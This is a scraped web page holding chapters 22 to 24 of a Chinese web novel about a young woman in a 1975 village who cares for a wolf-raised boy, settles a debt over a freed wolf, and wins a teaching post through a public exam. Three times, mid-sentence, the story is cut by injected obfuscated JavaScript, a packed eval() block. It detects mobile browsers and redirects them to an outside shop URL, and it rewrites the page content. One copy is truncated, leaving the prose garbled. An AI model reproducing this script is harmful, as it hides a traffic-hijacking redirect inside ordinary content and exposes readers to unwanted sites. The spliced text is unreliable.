“他是个正常人,我是他的家人。”徐知画不喜欢那些戏谑打量的目光落在刘白的身上,说,“如果他有冒犯到你们的地方,跟我说就行,我来解决,所以请告诉我发生了什么事。” “行,正好请大家好好评评理。”大汉缓缓道来起因经过,“我们是向阳大队的,昨晚有头狼袭击羊圈被抓住了,本来想着今天和羊一起送去收购站,没想到走在路上,他二话没说上来就打开了关住狼的笼子,狼逃走了,那我们总要讨个说法,他却也想着逃跑,那肯定是不行的。” “那头被他放走的狼属于向阳大队的集体财产,你看怎么赔?”大汉继而指了指几个人,说,“他们维护集体利益却被打了一顿,这事也不能轻易算了。” 听完始末,徐知画心里有了底,说:“他放走的那头狼,我愿意拿钱赔,但是你说打人,他也被打了,你们以多对少,他看起来受的伤还重些,这个算是互殴吧。” “是他先动的手,他那股蛮力,我们几个人一起上都难以招架住。”大汉看着刘白还是有点发怵,接着说,“一头狼,你给一百块就算了。” 一百块,对于以前的徐知画来说是小意思,但现在,她全身上下只有几块钱,一时半会是凑不齐钱的,现场也不能说画幅画抵钱吧。 徐知画硬着头皮商量道:“我能不能打欠条?我一定会还的。” “欠条?不行,要不现在还钱,要不就送你们去派出所。”大汉板起脸来,强调道,“二选一,没得商量。” 他同行的几个人瞬间围上来。 刘白也立刻竖起防备的眼神,攥着拳,仿佛有任何风吹草动就会反击回去。 “我现在真的没有那么多钱,我以党的名义起誓,在十天内一定会筹到钱还给你们大队,如果没做到,天打雷劈!”徐知画竖起三根手指,郑重保证。 大汉犹豫着,只见一个人上前说道:“七叔,这小姑娘年纪轻轻,真拿得出一百块吗?到时又产生什么纠纷就不好了,还是送派出所解决吧。” “有道理。”大汉正欲抓起两人,只听一声“慢着”响起,动作顿了顿。 抬头望去,一个穿着打扮得光鲜亮丽的男生走出来,说:“这一百块,我可以借给她先还上。” 陈豫周本想着凑热闹看看,没想到看到了徐知画的热闹,开始是想让徐知画主动找他借钱的,谁知在那招了半天的手,她愣是没分一个眼神过来,眼见事情越来越严重,他只好站出来。 不过这狼孩,真能惹事!还真是碍眼! 陈豫周瞪了刘白一眼,不明白徐知画为什么要对他那么好。 刚好他身上就有一百块,这是天意想让他解徐知画这一难吧。 陈豫周暗想。 “谢谢,我会尽快还你的。”徐知画感激道。 “慢慢还也行。”陈豫周在心里快速计算着她欠下这笔债的话,要该怎么使唤她来还了。 而大汉拿到钱,脸色好了些,不过还想要更多,摩拳擦掌道:“那我们这些人被打了一顿怎么说?” 徐知画从地上捡起一根棍子,狠狠抽打到刘白的身上,打到最后棍子“咔嚓”一声断了。 在场的人见此都倒吸了口气。 “这样可以扯平了吗?”徐知画面色冷得像裹了一层薄冰。 对上她狠厉的眼神,再看那被打的男生,周身气场更是阴骘骇人,见惯世面的大汉也不由得打了个寒颤,恐再纠缠下去会引来报复,连连点头道:“可,可以了。” “七叔,就这样放过他们吗?”同行还有人不甘就这样算了。 “闭嘴!”大汉瞪了一眼。 看着他们离去的背影,大汉缓了口气,说,“又不是要结生死仇,得饶人处且饶人。” 羊倌再次赶着羊启程,看热闹的人散去,街道恢复了秩序。 * 若是重来一次,刘白还是会选择去救那头狼,他不后悔。 只不过不应该那么傻愣愣就直冲过去解救,要遵循人类的规则,总有办法的。 经此一事,刘白更明白【钱】的重要性,处处都要用钱,钱真是太好了,他也一定要想办法赚钱。 思绪翻飞—— 一想到刚才徐知画棍棍落在自己的身上,刘白心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628107|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的恨意就像一簇火光,本是小小一团点燃了枯草,风吹过,迅速蔓延成燎原烈火,恨不得将她焚毁殆尽。 总有一日,总有一日,以牙还牙,以眼还眼。 黑眸闪烁着凶光,若是能化作实质,徐知画早被他杀千遍万遍了。 明明才发生了不开心的事,为什么现在她能那么开心地和别人说笑? 有什么好说的! 有什么好笑的! 伤口火辣辣地疼,她之前打完还会让人给他上药的,为什么现在对他漠不关心、视若不见。 连句关心都没有! 刘白在心底谴责着徐知画。 “我在这里等我哥,你有事先忙去吧。”回到书店,徐知画笑着对陈豫周说,再次感谢,“今天还好有你。” “我和你什么关系,不用那么客气。”陈豫周重新感受到她对自己的和颜悦色,美滋滋得像吃了块糖,想到还要去供销社买东西,倒着走挥手告别,“下次见。” “嗯嗯,下次见。”徐知画也挥挥手,转头回书店买了先前挑好的书籍,继续等着。 刘白很不习惯沉默的徐知画。 平时她总会见缝插针考他拼音、教他说话,如今她不说话,刘白也不知道要说什么。 她为什么不说了? 她为什么不笑了? 跟他就没有好说笑的吗? 平时他做错了事,徐知画打骂完还是会理他的,为什么她现在不理他了? 刘白想不明白。 在静得跟死了一样的氛围中,刘白时不时观察着她的神色,坐立难安。 他终于忍不住,开口叫了她的名字:“徐知画。” 徐知画还是不理他。 “徐知画。”刘白用指尖戳了戳她的肩膀。 徐知画抖抖肩膀,将他的手甩开,背对过去不搭理。 “徐知画。”刘白学着她之前的样子,双手捧住她的两颊,转过来面向自己。 “放!手!”两个字从徐知画的嘴里挤出来。 她的樱桃小嘴被挤成O字型,微微张开着,唇若涂脂,刘白像发现了新奇的玩具般,忍不住上手揉了揉唇珠,想揉掉这抹红色。 然而一揉,却是更加娇艳红润了。 “刘白!”徐知画一巴掌接着一巴掌扇过去,咬牙切齿,“你胆肥了啊!” 刘白胡乱地用手挡着,这下感觉对了。 他还是习惯这样的徐知画。 “你们怎么搞成这样?”徐家荣办完事回来,一看两人好不狼狈,特别是刘白,脸上还有几道血痕,惨兮兮的。 徐知画长话短说道来始末。 “所以,一百块,就这样没了?”徐家荣感觉要呼吸不过来了,自己掐了掐人中。 徐知画赶紧说道:“你放心,我会想办法赚钱的,不会让你们掏钱还。” “你一家人还跟我说两家话?!”徐家荣更生气了,做捧心状,“放跑了狼,再去抓一头回给他就好了,一百块啊一百块。” “有事要来找我啊。”徐家荣痛心道,“一头狼,最多50块,不能再多了,亏了亏了。” “这次不是没找到你嘛。”徐知画嘟囔道。 “都说下次。”徐家荣想起是自己先丢下她,心虚道。 22. 病秧子X狼少年 刘白喜欢和徐康荣呆在一起。 每当他被徐知画打得痛痛,事后徐康荣都会温柔地给他上清清凉凉的药缓解疼痛。 就像现在,从镇上回来后,只有徐康荣关心他的伤口、帮忙敷药,而其他人则目光带着谴责看他。 特别是当蔡淑芬得知一百块就这么打水漂,更是现场展示了什么叫河东狮吼,叽里呱啦不带重样骂人的话轰炸着耳膜。 一百块,就像是笼罩在头顶上的乌云,低气压在弥漫。 虽然现在家里也拿得出一百块,但这不是小数目,哪怕徐知画一再表明会自己想办法赚钱,但没人相信。 毕竟要她下田都赚不了几个工分,相处的这段时间,除了会读书认字,也没见过她展示什么才能。 钱是不会凭空出现的。 “事已至此,多说无益,刘白也算是我们家的一份子,总不能真的看他被送去派出所,我这还有些存款,可以拿出来还。”徐康荣打着圆场,“他也受到惩罚,知错了。” 蔡淑芬看了看身上伤痕一道道的刘白,想着这狼崽子真不是寻常人,不仅伤好得快,还有一身蛮力,好好培养,是个干活的好手。 “以后他要是长期在我们家住,也要去赚工分。”蔡淑芬说。 对此,徐知画没有异议,现在一家还在温饱挣扎,不能只谈梦想,不看实际,她也要好好筹划赚钱之计。 而因为见识过徐知画杀鸡儆猴的“厉害”,又被家人压着,在空闲之余,狗岁也不再跟着小伙伴招猫逗狗满山跑,老老实实跟着读书认字,又因为学得比刘白快,有了对比,自豪感更是噌噌噌往上涨。 狗岁很喜欢看刘白因为答错问题被惩罚的样子。 每每这时,他总会取笑挑衅扮鬼脸:“这么大的人了,连小孩都比不过,略略略——” 刘白:…… 就很气! * 日历撕了一天又一天,星期日如约而至。 知青点门前一块空地上,十几个知青围成一个圈席地而坐,中间摆着一些干果糖果之类的小零嘴,一张写着“读书会”的大纸被挂在旁边的树枝上飘扬着。 徐知画带着刘白和狗岁到场时,陈豫周正意气风发地侃侃而谈着—— “……‘我一生最大的爱好是读书。’多么伟大的爱好,我们要学习伟人活到老、学到老的勤学精神,读书可以更好地认清前行方向……”① “可是书有分好坏,我们应该读什么书?”在陈豫周说完他的观点后,有人问道。 陈豫周对此早有准备,娓娓道来:“如果一本书让你受益匪浅,能指引你到光明的道路……” 除了分享学习伟人的语录,还从陈述观点到辩论观点,每个人的发言带来了思想的碰撞。 而陈豫周言之有物,更是收获了不少热烈的掌声。 本来徐知画带两人来是长长见识,听听他们读书人是怎么高谈阔论,学习说话的艺术,没想到刘白和狗岁的注意力全落在那些零嘴上。 那引领而望就差流口水的模样简直没眼看,正想提醒他们注意点,有人点名徐知画也来发言几句。 徐知画装作怯懦的样子,连连摆手:“不了不了,我见识浅薄,不知道要说什么,今天我先来学习,下次再发表言论。” 她可无意出风头,有时辩论起来没完没了,并不想费那心神,而且万一说错什么,被人抓到话柄,这年代也是很严重的。 “大家还是别为难她了,她半天憋不出一个屁,在学校时考试就没及格过,是有名的垫底生。”张二乔不屑道,不明白像陈豫周这样文采斐然的人,怎么愿意带这样上不了台面的小跟班玩。 “这更要学习伟人的语录了,多说多背,你会有所感悟。”另一个女生看着徐知画说。 “好好好,我这不在学着嘛,我以伟大的毛**主/席为榜样,永远学习他的精神。”徐知画顺着说,“你们继续,现在我也要向你们学习。特别是陈豫周同志,我听了你的发言,感觉有一股力量充满了全身。” 听了这话,陈豫周下意识挺了挺腰,眼睛里闪烁着得意的光茫。 她如此真诚认真,众人倒不好再说什么,再再为陈豫周的发言喝彩鼓掌。 张二乔本想着会看到徐知画像以往那般自卑低落,遭人取笑,没预料到她四两拨千斤就把话题岔了过去,那淡定自如的模样狠狠刺痛了眼。 还想再挑起风波,这时却见一个社员跑过来,气喘吁吁道:“龟妹,大队长找你有事,在村委会,你赶紧去。” 徐知画看了看刘白和狗岁,犹豫着要不要让他们先回家,陈豫周见此,说道:“你就让他们在这学习吧,有我们看着,没事。你和大队长聊完了,我们可能还没结束呢。” “行。”徐知画看着乖乖呆坐着的两人,叮嘱了几句,就和社员一起走了。 * 来到村委会,徐开鸿正埋头在纸上写着什么,徐知画敲了敲门,得到允许后才进去。 “请坐。”徐开鸿伸手示意道。 徐知画还等着后文呢,谁知道他说完这两个字后,就陷入了沉默,视线打量着她。 “大队长,你找我有什么事吗?”徐知画被看得发毛,主动破冰。 “不错,养得比刚见时,气色好多了。”徐开鸿目光和蔼地点着头。 “大队长,我感觉身体还是很虚,还需要再养养。”徐知画猜测着不会又让她下地干活吧,她这小身板可受不住啊。 “放心,不是让你下地。”徐开鸿看穿了她的心思,幽幽道,“大队小学有位老师过几天要嫁人了,看在你教育狼孩还算有成效的份上,我想把这个名额给你。” “大队长,我恐怕胜任不了。”教刘白一个都要发狂了,再教那么多学生,她感觉真的要命。 徐开鸿脸色一沉,长篇大论张口就来:“你看你这肩不能扛,手不能提,当老师是很好的选择了,多少人想当都没这个文化当,你有这个机会,却不懂得珍惜。” “再说,建设美好大队,是每一个社员的义务,你这思想觉悟啊,还需要再提高。伟人都说了,‘同学们毕业后,要更努力地工作。一方面不要偷懒,这个机会主义的倾向是要不得的,我们应该积极工作,艰苦奋斗。’你看你这态度,年轻人有手有脚,不能只想着呆在家里啃老……”② “你之前可还说了,愿意将热血洒在这片土地上,现在组织看好你,大队需要你,结果你就这般推托?” 徐知画还想说什么,却听他拍案道:“两个选择摆在你面前,下地还是当老师?” 一副不容分说的样子。 徐知画将原本想说的话咽了回去,说:“老师,我选老师。” “好,那你这几天准备一下。”徐开鸿面色由阴转晴,从底下抽屉拿出一叠画纸、一盒颜料和两只狼毫笔,说,“这是我上次去县里开会,程阳同志托我带回来给你的东西,看这架势,你真会画画?” “谢谢大队长。”徐知画脸上的笑容灿烂如花,点头道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651456|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然,画画是我的看家本领。” 徐开鸿想到了什么,说:“改天帮忙画一幅画行不行?如果画得好的话,我会酌情给予你一些奖励。” “行,没问题。”徐知画说。 * 徐知画兴高采烈地捧着画画的工具往知青点走,路上见到人也主动打招呼,愉悦的心情在见到刘白和狗岁之后,像美丽的泡泡,“啵”一下碎掉了。 知青们拿着零嘴糖果,像逗狗般扔过来扔过去,引得两人跑过来跑过去,毫无形象争抢着那一点点吃的。 哪怕掉到地上,脏了,也毫不在意塞进嘴巴里。 “狼孩,接着。”张二乔抛起一颗糖果,刘白纵身一跃,用嘴叼住,美美地吃起来。 “好样的!再来一次!”有人欢呼。 “我也要!我也要!”狗岁不甘示弱,眼巴巴地看着别人手中的糖。 “那你们比一比,看谁厉害,谁抢到就是谁的。”张二乔洋洋得意道,眼神轻蔑,很享受这种训狗般高高在上的感觉。 “够了!很好玩吗?!”徐知画一声怒喝打断了他们玩乐的氛围,“刘白!狗岁!回家!” “我还要糖果!我还要玩!”狗岁见他们停了,大喊大叫道,“我不要回家!我要在这里玩!” 刘白也是目光渴望地看着那点吃的,不想回家。 两人摇尾讨欢的模样要多谄媚就多谄媚,徐知画气得牙痒痒的,看向始作俑者,怒瞪着眼:“他们不懂事,你们也不懂事吗?这样戏耍别人好玩吗?” 看着她生气的脸,陈豫周讪讪地解围道:“就是在玩游戏,大家玩得都挺开心的。” 徐知画走过去,二话不说抢过他手中的糖,然后往上抛,随后呈一条弧线落地。 “既然是在玩游戏,那你怎么不用嘴接?掉到地上了,你怎么不会捡起来吃?”她气极反笑道。 偏刘白看到地上的糖,身形如一阵疾风冲过来,毫不犹豫捡起来吃掉了,还傻乎乎地咧着嘴笑。 “你看,这可不是我们教他的,他自己乐意捡地上的东西吃。”张二乔挑衅地笑了笑。 “他们不懂维护自尊,但我懂,你们也心知肚明。做出这样的行为,你们根本就没将伟人的思想学明白,道貌岸然的伪君子。”徐知画冷讽道,视线扫了一圈。 “你这么说过分了吧,开个玩笑而已,有必要这样说吗?”有人恼怒道。 “我也开个玩笑而已,你们心里没鬼,对号入座什么呢?”徐知画眼神轻轻瞥过去,却似有千钧之力,压得人心头一沉。 气氛一下子凝滞,又彷佛有一把火烧起来。 “给我个面子,今天大家聚在一起可不是想吵架的,本来想玩玩增进彼此的情谊,你不喜欢,下次不玩就是。”陈豫周一脸为难样。 这话说得仿佛是她无理取闹,非要挑拨大家感情一样,然徐知画并无半分心虚,直视着他的眼睛:“开这样的玩笑,你们也没给我面子。” 知道他们是什么样,以后远离就是。 徐知画再次看向两人:“刘白!狗岁!我再问一次,回不回家?” 她的眼神简直要化为刀子杀人。 刘白和狗岁怂了,见她转身就走,也赶紧跟上去。 “你们两个笨蛋,被耍得团团转还不自知。”徐知画怒其不争。 “我们不是笨蛋。”狗岁辩驳,一脸憧憬,“糖真好吃呀!真想每天都有糖吃。” “好吃,糖好吃。”刘白也接嘴道。 23. 病秧子X狼少年 徐知画很小气的,她有一本记事本,一半记仇,一本记恩。 回去之后,她郑重写下—— 【1975年8月10日,知青们举办读书会,却将刘白和狗岁当狗般戏耍,实在可恨!!!】 想着以后她一定要找机会报复回去。 有恩报恩,有仇报仇,足以可见她是个恩怨分明的人,徐知画觉得这品性很好,并决定将这个习惯沿袭下去。 且让他们再多笑一会儿吧。 就在徐知画以为双方会相安无事一段时间,没想到因为接任老师这一事,知青们得知后,一个两个义愤填膺,觉得徐知画力不胜任,有失公平。 既然她都可以,凭什么自己不行! 若是能当老师,谁想种地啊。 不过一天的功夫,有关徐知画之前在校学习成绩有多差、表现有多烂的尖言冷语,像风一样席卷了整个大队。 说起“徐知画”这个名字,大队的人可能都不认识,但你要说“龟妹”,大家就知道了。 龟妹啊,是个早产儿,刚出生时就跟只老鼠一般大小,孱弱多病,就在大家都以为她活不下去时,徐天瑞两夫妇硬是砸锅卖铁、挨家挨户磕头借钱去治。 那时很多人劝夫妻俩不要白费力气,不过一个女娃子,不值得。那么多钱丢进河里,还能听个响,但送去医院治病,那就是个无底洞,多少钱都不够,而且又不能保证一定治好。 再说,家里还有几个男娃子嗷嗷待哺,顾得了这个,顾不了那个,总要懂得取舍。 但当爸妈的,手心手背都不想放弃。 那时他们和老不死·黄春娟·继母的关系还没那么僵,早年徐天瑞的爸也积攒了一些家底,然而当夫妻俩说要借钱治病时,老不死气定神闲地倚靠在门前嗑南瓜子,炫耀刚买的新衣服,还说要拿钱装修屋子,说来扯去,就是没钱借,还要趁机奚落一番。 连外人都可怜他们一家愿意借几毛几块或送一些瓜果蔬菜不至于饿死时,但老不死作为亲人,不帮就算了,还故意在孩子们饿得饥肠辘辘时,拿着好吃的在嘴边引逗,不肯施舍分一点。 老不死若“大发善心”,也是因为起了捉弄之心,有次将沾了鸡屎的糖给徐安荣吃,还说糖就这味道,嘴硬不承认。 事后徐家荣偷溜进老屋的厨房,给她的锅碗瓢盆来了一个屎尿的洗礼。 老不死气得跳脚,偏没有当场抓到人,徐家荣死不承认,她也不能如何。 更过分的是,有次大家下地干活时,龟妹被放在离田地不远的树荫下,老不死路过看到,竟想偷偷捂死她,被发现后,还美名其曰与其活着受罪连累家人,不如早死早超生。 其实是因为不肯借钱,被村里人戳脊梁骨见死不救,说继母恶毒,老不死才起了这个歹念,想从源头上解决问题。 自此两人算是彻底撕破脸面,什么遮羞布都被掀开,蔡淑芬和老不死从白天吵到黑夜,那场架,堪称光荣大队史上最轰动、最精彩、最泼辣。 后来在大队长徐开鸿百般调和才休战。 而围绕“龟妹”这个名字所发生的故事,在光荣大队也是传开了。 再后来龟妹被城里人收养,更是成了大队的一桩闲谈。 本以为是个短命的,没想到是个有福气的,竟还有这际遇。 引得在地刨食的人们好一阵羡慕。 之所以取名“龟妹”,这是徐天瑞和蔡淑芬的美好祝愿,希望她像乌龟一样长寿,能长命百岁。 话说回来,关于重选小学老师一事,大队的人对知青都没什么好感,一个个说话好听,干活却含糊,不过因为徐知画既是知青又是队里人,大家还是比较偏向让她当老师的。 但是听到徐知画的评价,又犹豫了,大家送孩子去学校,还是希望能学到点真知识本领,一个好老师显然是至关重要的。 眼见谣言甚嚣尘上,在各方压力下,徐开鸿不得不宣布会再重选一次。 “你读书行不行啊?”徐开鸿来到家里,满脸忧虑地看着徐知画,说,“我举荐了你,你不行,丢的可是我的脸。” “大队长,放心吧。”徐知画给他一记自信的眼神,“我行的!相信我,没问题!” “我打算后天举行一场露天考试,谁考得好就选谁,你真的行?”徐开鸿不放心再三问道。 “行!随便考,包过的。”徐知画拍着胸脯说。 且不说有两世记忆,就她这个在现代接受精英教育、全面发展的优秀毕业生,是凭自己能力考上全国数一数二的美院,文化课自然不会差到哪儿去。 小学老师? 那不过是囊中取物,关键看她想不想要当而已。 现在好似被架在火上,不当不也行了,想看她零落成泥、顺带踩一脚?她偏不让他们如愿。 为了让她更好准备考试,哪怕徐知画说不需要,但蔡淑芬不知道从哪里找来一支人参,还宰了一只老母鸡炖汤给她补脑。 她考试的没紧张,倒是家人们更加忐忑些。 * 秉持着公平公正的原则,这次的试卷从头到尾由学校的老师们出题、抄写,到考试那天才面于世人。 晒谷场上,共有八位知青参加这次的老师选拔考试,每个人的位置都隔得很远,四周看热闹的人都是监考员,保证不会有作弊的可能。 张二乔看着徐知画端坐冷静的背影,一想到她待会考出十几二十分,就想笑。 “你怎么不去竞选?”一位男知青撞了撞陈豫周的肩膀,好奇道。 “我不想当老师。”陈豫周耸耸肩。 “竟然不想?”要不是文化低,男知青也想上场比一比,不明白他为什么愿意下地劳作都不愿选择当老师轻松些,又问道,“你看好谁?” “徐知画。”陈豫周笃定地说。 “徐知画?有没有搞错?你开玩笑呢?”男知青满脸不信,目光移到徐知画的身上,只见她被晨曦笼罩着,衬得瓷白的脸也好看得发光,心弦倏地被拨动了一下,下意识喃喃道,“如果是比美比赛,我相信她会是第一名。” “你可别想着去招惹她。”陈豫周不满地用胳膊肘往后一捅。 “知道。”男知青揉了揉被捅痛的胸膛,无语道,“我知道你的心思。” “我对她没心思。”陈豫周跳脚反驳,“我之前是看她可怜才帮她的。” 男知青“嗤”了声,没再说话。 徐知画拿到试卷看了看,题目不难,语文数学题都囊括了,还夹着着几道伟人语录,要写感悟小作文。 拿起笔“唰唰”埋头写起来。 徐知画是第一个交卷的,张二乔以为她是装不下去,没写完就要放弃了,心里还一阵暗喜。 然而当大家的试卷被现场批改完,大队长宣布徐知画是第一名时,张二乔立刻举手站起来,气愤道:“我不服!她作弊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660294|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此声一出,现场像炸开了锅,什么话都有。 大队长压了压手掌,等大家安静下来,不紧不慢发问:“青天白日,众目睽睽,她怎么作弊?你又有什么证据证明她作弊?” “她不可能是第一名,她之前都没考过这么高的分数,其中肯定有猫腻。”张二乔忿忿道。 “你这不是说我们泄漏题目?天地良心这份试卷可只有几位老师看过。”出题的老师一副被冤枉的样子。 “也不是没可能,你是这样说,谁知道背地又怎么做呢?”张二乔在心里已经认定他们是一伙的了。 这把火是因自己燃起,徐知画自知不能置身事外:“我现在愿意自证,欢迎大家出题考我。” 说着看向张二乔:“你,要再跟我比一比吗?” 张二乔不服输地扬了扬下巴:“比就比。” 两人相对而站。 一位数学老师说:“我先来出题,9X8=……” 徐知画:“72。” 张二乔:【哼,且让你一回。】 数学老师:“鸡兔同笼,鸡比兔多15只,鸡兔共有脚132只,问鸡兔各多少只?” 徐知画:“鸡有32只,兔有17只。” 还在脑子计算的张二乔:【她一定是乱答的。】 数学老师:“答案正确!” 张二乔:…… 又只听徐知画开口说:“老师,可以再难点。” 这一连二输,张二乔慌了神,乱了阵脚。 “我来出题。”一个女知青站出来,考道,“1+2+3+4一直加到100等于多少?” 徐知画:“5050。” 女知青:“正确。” “你怎么会?”张二乔一副被打击惨的样子。 失态了。 “还有谁要出题?”徐知画大大方方地问。 “我!”又有一男知青应声而出。 …… 一道道题来,一道道题解。 徐知画站在人群中间,舌战群儒,硬是显出了一夫当关,万夫莫开的气势。 这下众人是口服心服,新老师是非她莫属了。 张二乔不服,但在绝对的实力面前,也不得不服,最后哭着离场。 “我就说徐知画一定会赢。”陈豫周鼓掌道。 男知青还挠头嘀咕着:“不是说徐知画是学渣吗?她是学渣,那我是渣中渣?” 陈豫周想到自己的那些荣誉是怎么来的,脸上的笑容一秒消失。 * “龟妹!龟妹!龟妹!”家人们欢呼着涌过来,为她出色的表现而骄傲。 “今晚要奖励你大鸡腿吃。”蔡淑芬说。 “我今早才刚吃完。”徐知画无奈道。 “再吃一个。” 狗岁:“我也要!我也要!” “你多向姑姑学习,以后天天吃鸡腿。” “哈哈哈……” 一家人说说笑笑着往家里走去。 还没到家门口,远远看见一群人围在院子里,有男有女,来势汹汹的样子。 “嘿,你们要干什么?”徐天瑞快步上前问道。 “大叔,请问狼孩是不是在这家住?”一个领头模样的男青年问。 徐天瑞下意识想到刘白又惹祸了? “你们找他什么事?跟我说也行。”徐天瑞警惕地看着他们。 24. 病秧子X狼少年 徐天瑞握紧拳头严阵以待,摆出了搏斗的架势,领头人一看就是误会了,赶紧解释来意: “大叔,我们不是来找茬的,因为在报纸上看到说光荣大队发现了一个狼孩,我和朋友们都很好奇,所以组队来见识一下。” “看,这是介绍的报纸。”领头人摊开手中的报纸给他看。 刘白跃起叼住生肉的照片映入眼帘,乍一看不像人,像是穿着衣服的狼,凶性、野性扑面而来。 徐天瑞这才认真看了看他们,一个两个穿得斯斯文文的,的确不像是来打架。 “呐,他就是狼孩,想看就看吧。”蔡淑芬一行人也跟上来,指着刘白说道。 一道道灼热的目光流连在刘白的身上,仿佛要将他看出一个洞来。 “他就是狼孩啊?会不会咬人啊?”一个女生对上刘白眈眈的目光,有些害怕地往同伴的后面躲了躲。 经过这段时间的教育,刘白粗糙的皮肤养好了一些,身上所释放的兽性气息也减弱了许多,一些行为举止还带着狼的特性,但他安静站在哪儿的话,和正常人并无二致。 “不会咬人,不用怕,他要是咬人,我打他。”蔡淑芬看着这一群光鲜亮丽的男生女生,一看就是文化人,想到家里还有相似年龄未嫁娶子女,热情地招呼道,“来者都是客,可以进来喝杯水慢慢看。” “谢谢大娘,我们又是搭车又是走路,好不容易才来到这里,别说,还真渴了。”领头人边说边从军绿色挎包里掏出一包桃酥塞到蔡淑芬的手里,“一时兴起而至,也没准备什么礼物,给大娘尝尝这桃酥,还望不要嫌弃。” “不嫌弃不嫌弃。”蔡淑芬笑得眼睛眯成了一条线,热络地攀谈起来,“你们家是哪里的?是在读书还是工作了?都有对象了吗?” 一个接着一个问题抛出来,眼见有查户口的趋势,徐家荣赶紧开口阻止道:“妈,人家是来看刘白的,你别问东问西,怪冒犯人。” 蔡淑芬瞪了他一眼,转头又笑眯眯地说:“我这人就是好八卦,难得有这么一群年轻人来做客,我很高兴,多嘴了几句,你们不会介意吧?” “不介意。” “一群陌生人不请自来,问问也是应该的,是我们先叨扰了。” “……” 听此,蔡淑芬回了一个得意的眼神给徐家荣,吩咐道:“没点眼力见,快把家里的凳子都搬出来,还有泡壶茶,再去抽屉拿些零嘴。” “我去,我去。” 徐安荣和狗岁风一样冲回屋。 条件有限,大家或站或坐在院子里攀谈着。 眼见蔡淑芬将一个女生拉到旁边,话里话外都夸她的三儿子多么聪明能干,又问人家里情况,打得什么主意是司马昭之心,女生脸上的尴尬都要溢出来。 徐家荣听得面红耳赤,走过去一把捂住她的嘴巴拽飞:“妈,水喝完了,你去煮点水吧。” “嗯嗯……等会聊……”蔡淑芬走时还不忘抛去一个笑容。 * 徐知画真的很不喜欢他们看动物园猴子般的眼神落在刘白的身上。 有什么好看的?都是两个眼一个鼻一张嘴,人类该有的他都有,没有的他也没有。 被狼养大,带了狼的习性,也没什么好大惊小怪的。 然而看了报道介绍,他们还想更详细了解关于狼孩发现的经过以及是如何调教成现在这个模样。 在狗岁和徐安荣绘声绘色的描述中,抓捕狼孩的惊险、野性难驯但在棍棒教育下变得人模人样、力大无穷被调教成干活好手等等,直白的语言却说得一波三折,人们听得是津津有味。 有人支持棍棒教育,有人则反对,就此展开了一场小小的辩论。 “嗷呜——”刘白被盯着烦了,龇牙恐吓了一下。 “哎呀!他真的会狼叫!” “好像狼!” “好可怕。” 人们下意识躲远了去,被吓到面容失色,保持不了一点平静。 刘白当这是新乐趣,每当他们靠近过来,就吼一嗓子,再吓个惊惶失措,好玩真好玩! 多次之后,人们也看出了刘白的戏弄之心,见只是吓人,没有攻击,胆大的慢慢靠近,问道:“他会说话吗?” “会说会说。”狗岁说着看向刘白,问,“你叫什么名字?” “刘——白。” 他咬字还不是很清晰。 大家眼睛亮了亮,争先恐后着想和他搭话—— “你好。” “如果可以,你想成为狼还是人?” “你还想回森林里吗?” “给你糖吃要不要?” “你会算数会认字吗?” 刘白捕捉到关键词,猛地将视线落在一个人的身上,说:“吃糖,要吃糖。” 大家又是一喜,好似他会吃糖是什么了不起的事情,齐刷刷从口袋或包里掏出带的零嘴递过去。 目光热切,仿佛能投喂他是莫大荣幸。 刘白看了看徐知画,咽下在口腔泛滥的唾液,想拿又不敢拿。 “吃吧吃吧。”蔡淑芬说,“你们有心了,给他这么多东西吃。” 他们没什么恶意,就是好奇,徐知画没有在这个时候扫兴,点头道:“吃吧。” “好有灵性,会看人脸色。”领头人惊叹道,“还知道把包装纸撕开。” 徐知画觉得他们太过大惊小怪了,说:“他是人,学习人类的行为并不难。” “嗯,他好聪明。”领头人看出徐知画才是那个教育引导狼孩的人,问道,“我能和他握握手吗?” 徐知画:“你问他。” 领头人伸出手,说:“握手。” 刘白想到刚才吃了他一块巧克力,很给面子地伸手握住了。 见此,大家跃跃欲试,都想和刘白来个近距离接触。 在好吃的面子下,刘白很快和他们玩作一团,没有戏弄,只是单纯的好玩,还有人想和他比试掰手腕看谁厉害。 欢声笑语充满了整个院子。 经此一事,徐知画没想到的是,狗岁和徐安荣发现了商机,背地里竟拉着刘白给人表演狼的习性以获取好吃的。 当刘白是行走的打卡景点了。 三人打掩护配合得相得益彰,等人找上门投诉时,家人们才发现这事,自是少不了一顿竹笋炒肉。 * 刘白真是受够徐知画条条框框的要求,迫切地想要离开她。 在又一次因背不出所教的内容被罚站顶碗时,刘白决定今晚就偷偷溜走。 他自觉已经摸透了人类的生存规则—— 食物要烹饪、穿戴整齐见人、买东西要钱票等等。 